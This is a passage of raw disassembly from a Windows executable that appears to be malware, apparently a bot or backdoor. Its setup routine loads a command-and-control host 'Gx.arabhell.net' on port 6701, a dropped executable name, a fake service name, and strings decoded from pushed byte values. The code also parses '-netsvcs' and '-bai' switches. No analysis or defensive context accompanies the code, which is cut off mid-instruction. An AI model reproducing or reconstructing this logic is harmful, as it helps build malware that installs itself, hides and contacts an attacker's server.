[eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DEE add eax, 2 add esi, 2 test cl, cl jnz short loc_406DCA loc_406DEA: ; CODE XREF: ___:00406DD4j xor eax, eax jmp short loc_406DF3 ; --------------------------------------------------------------------------- loc_406DEE: ; CODE XREF: ___:00406DD0j ; ___:00406DDEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DF3: ; CODE XREF: ___:00406DECj test eax, eax jnz short loc_406E00 mov byte ptr [ebx+9], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: ___:00406DF5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406E07: ; CODE XREF: ___:00406E25j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E2B test cl, cl jz short loc_406E27 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E2B add eax, 2 add esi, 2 test cl, cl jnz short loc_406E07 loc_406E27: ; CODE XREF: ___:00406E11j xor eax, eax jmp short loc_406E30 ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: ___:00406E0Dj ; ___:00406E1Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E30: ; CODE XREF: ___:00406E29j test eax, eax jnz short loc_406E3D mov byte ptr [ebx+0Ah], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E3D: ; CODE XREF: ___:00406E32j mov esi, offset aBai ; "-bai" mov eax, edi loc_406E44: ; CODE XREF: ___:00406E62j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E68 test cl, cl jz short loc_406E64 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E68 add eax, 2 add esi, 2 test cl, cl jnz short loc_406E44 loc_406E64: ; CODE XREF: ___:00406E4Ej xor eax, eax jmp short loc_406E6D ; --------------------------------------------------------------------------- loc_406E68: ; CODE XREF: ___:00406E4Aj ; ___:00406E58j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E6D: ; CODE XREF: ___:00406E66j test eax, eax jnz loc_406F58 lea ecx, [esp+10h] call sub_40142E mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406F44 push eax lea ecx, [esp+14h] call sub_4015E1 push 1 push offset asc_444600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_448F30 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406F44 push 1 push offset asc_444600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_40168B push eax lea eax, [ebx+0Ch] push eax call near ptr 77C47A90h nop add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406F44: ; CODE XREF: ___:00406EA1j ; ___:00406EF1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F58: ; CODE XREF: ___:00406DBDj ; ___:00406DFBj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D88 xor ecx, ecx loc_406F68: ; CODE XREF: ___:00406D7Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F75 mov [ebx+5], ecx loc_406F75: ; CODE XREF: ___:00406F70j cmp [ebx+5], ecx jnz short loc_406F85 test al, al jz short loc_406F85 mov dword ptr [ebx+5], 0Ah loc_406F85: ; CODE XREF: ___:00406F78j ; ___:00406F7Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_406FB0 db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407080 proc near ; CODE XREF: sub_4020BDj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407080 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_40156E sub_407080 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43F00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407100 proc near ; CODE XREF: sub_40159Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015E1 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014EC sub_407100 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407140 proc near ; CODE XREF: sub_401B04j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AD7 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40162C mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jz short loc_4071BB mov edi, [esp+10h+arg_0] loc_407183: ; CODE XREF: sub_407140+79j push edi lea ecx, [esp+14h+var_8] call sub_401749 mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_4071C5 call sub_401F28 lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jnz short loc_407183 loc_4071BB: ; CODE XREF: sub_407140+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_4071C5: ; CODE XREF: sub_407140+5Aj call sub_401749 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_407140 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407210 proc near ; CODE XREF: sub_40221Bj xor al, al retn 4 sub_407210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407230 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_407230 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407270 proc near ; CODE XREF: sub_40162Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401A96 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4021A8 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_407270 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072B0 proc near ; CODE XREF: sub_4021DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4021A8 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_4072B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4072E0 proc near ; CODE XREF: sub_4014ECj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021DF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_4072E0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407320 proc near ; CODE XREF: sub_401AD7j push esi mov esi, ecx call sub_401B77 mov eax, esi pop esi retn sub_407320 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_401749j mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_407340 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407360 proc near ; CODE XREF: sub_401F28j push esi mov esi, ecx mov eax, [esi] push eax call sub_401A96 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407360 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407390 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FBE neg al sbb eax, eax inc eax retn 4 sub_407390 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4073C0 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C9E mov edi, eax push edi call sub_401C6C mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_4073C0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C6C push edi mov [eax], ebx call sub_401C6C mov edi, [eax] push edi call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_40167C mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4021A8 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407460 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019D8 sub_407460 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407475 mov edi, esi loc_407475: ; CODE XREF: ___:00407471j push esi call sub_401A96 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40748A mov edi, esi loc_40748A: ; CODE XREF: ___:00407486j push esi call sub_401C6C add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074B0 proc near ; CODE XREF: sub_401A96j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_4074B0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074D0 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4074D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401B77j mov eax, ecx retn sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407510 proc near ; CODE XREF: sub_4021A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_407510 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407540 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_407540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407590 proc near ; CODE XREF: sub_4019D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_407590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_40167Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075F0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075F0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_401C9Ej mov eax, [ecx] retn sub_407610 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407630 proc near ; CODE XREF: sub_401D2Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40763A xor eax, eax loc_40763A: ; CODE XREF: sub_407630+6j push eax call sub_437AEA sub_407630 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407660 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40767B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40767B: ; CODE XREF: sub_407660+11j retn sub_407660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076B0 proc near ; CODE XREF: sub_401B40j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076B0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017EE push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_44ACD6 call sub_401B72 sub_4076B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407740 proc near ; CODE XREF: sub_401CD5j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407740 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+20h+arg_4] call sub_4017EE push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_44ACD6 call sub_401B72 sub_407740 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4077E0 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4077E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_2C4] call sub_40142E lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_40142E lea ecx, [esp+35Ch+var_174] mov byte ptr [esp+35Ch+var_4], 1 call sub_40142E lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 2 call sub_40142E lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 3 call sub_40142E lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 4 call sub_40142E lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 5 call sub_40142E lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 6 call sub_40142E lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 7 call sub_40142E lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_40142E lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_40142E lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_40142E lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_40142E lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_40142E lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_40142E lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_40142E lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_40142E lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 10h call sub_40142E lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 11h call sub_40142E mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_18C] call sub_40142E lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 13h call sub_40142E lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 14h call sub_40142E lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 15h call sub_40142E lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 16h call sub_40142E lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 17h call sub_40142E lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 18h call sub_40142E lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 19h call sub_40142E lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_40142E lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_40142E lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_40142E lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_40142E mov ebx, 1Eh push offset aGx_arabhell_ne ; "Gx.arabhell.net" lea ecx, [esp+360h+var_2C4] mov byte ptr [esp+360h+var_4], bl call sub_401A9B push offset a6701 ; "6701" lea ecx, [esp+360h+var_2DC] call sub_401A9B push offset byte_448F30 lea ecx, [esp+360h+var_144] call sub_401A9B lea eax, [esp+35Ch+var_2C4] lea ecx, [esp+35Ch+var_174] push eax call sub_40202C lea ecx, [esp+35Ch+var_2DC] push ecx lea ecx, [esp+360h+var_1A4] call sub_40202C push offset byte_448F30 lea ecx, [esp+360h+var_1BC] call sub_401A9B push offset aM_0 ; "##m##" lea ecx, [esp+360h+var_2AC] call sub_401A9B push offset aM ; "##m" lea ecx, [esp+360h+var_24C] call sub_401A9B push offset aXkey ; "Xkey" lea ecx, [esp+360h+var_2F4] call sub_401A9B push offset aIgfsfdfsd32_ex ; "igfsfdfsd32.exe" lea ecx, [esp+360h+var_1D4] call sub_401A9B push offset aAyssds4ddklfsd ; "ayssds4ddklfsdf" lea ecx, [esp+360h+var_204] call sub_401A9B push offset asc_444834 ; "X-" lea ecx, [esp+360h+var_294] call sub_401A9B push offset aSet ; "set" lea ecx, [esp+360h+var_234] call sub_401A9B push 0 push 4Ah push 20h push 48h push 1Ch push 4Bh push 46h push 4Ah push 46h push 47h push 4Ch push 1Fh push 48h push 1Fh push ebx push 1Bh push 1Dh push 47h push 4Bh push 47h push ebx push 45h push 46h push 4Ah push 48h push ebx push 1Dh push 1Ch push 4Ah push 20h push 4Ch push 4Dh lea edx, [esp+3DCh+var_348] push 44h push edx call sub_4019C4 add esp, 88h push eax lea ecx, [esp+360h+var_264] mov byte ptr [esp+360h+var_4], 1Fh call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push offset aFeeling_nasty ; "feeling.nasty" lea ecx, [esp+360h+var_E4] call sub_401A9B push offset aEvil ; "evil" lea ecx, [esp+360h+var_15C] call sub_401A9B push offset aMicrosoftVisua ; "MicroSoft Visual SP2" lea ecx, [esp+360h+var_114] call sub_401A9B push offset dword_4447F8 lea ecx, [esp+360h+var_27C] call sub_401A9B push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019C4 add esp, 30h push eax lea ecx, [esp+360h+var_18C] mov byte ptr [esp+360h+var_4], 20h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 46h push 47h push 0Dh push 5 push 14h push 13h push 19h lea ecx, [esp+3B4h+var_348] push 13h push ecx call sub_4019C4 add esp, 60h push eax lea ecx, [esp+360h+var_1EC] mov byte ptr [esp+360h+var_4], 21h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 22h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h push 46h lea ecx, [esp+36Ch+var_348] push ecx call sub_4019C4 add esp, 14h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 24h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 25h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 26h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019C4 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 27h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2F4] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 mov byte ptr [esp+394h+var_4], 28h push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 29h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401870 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 2Ah call sub_401CD5 sub_4077E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 2Bh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Ch call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Dh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Eh call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Fh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 30h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h mov byte ptr [esp+394h], 31h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 32h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr 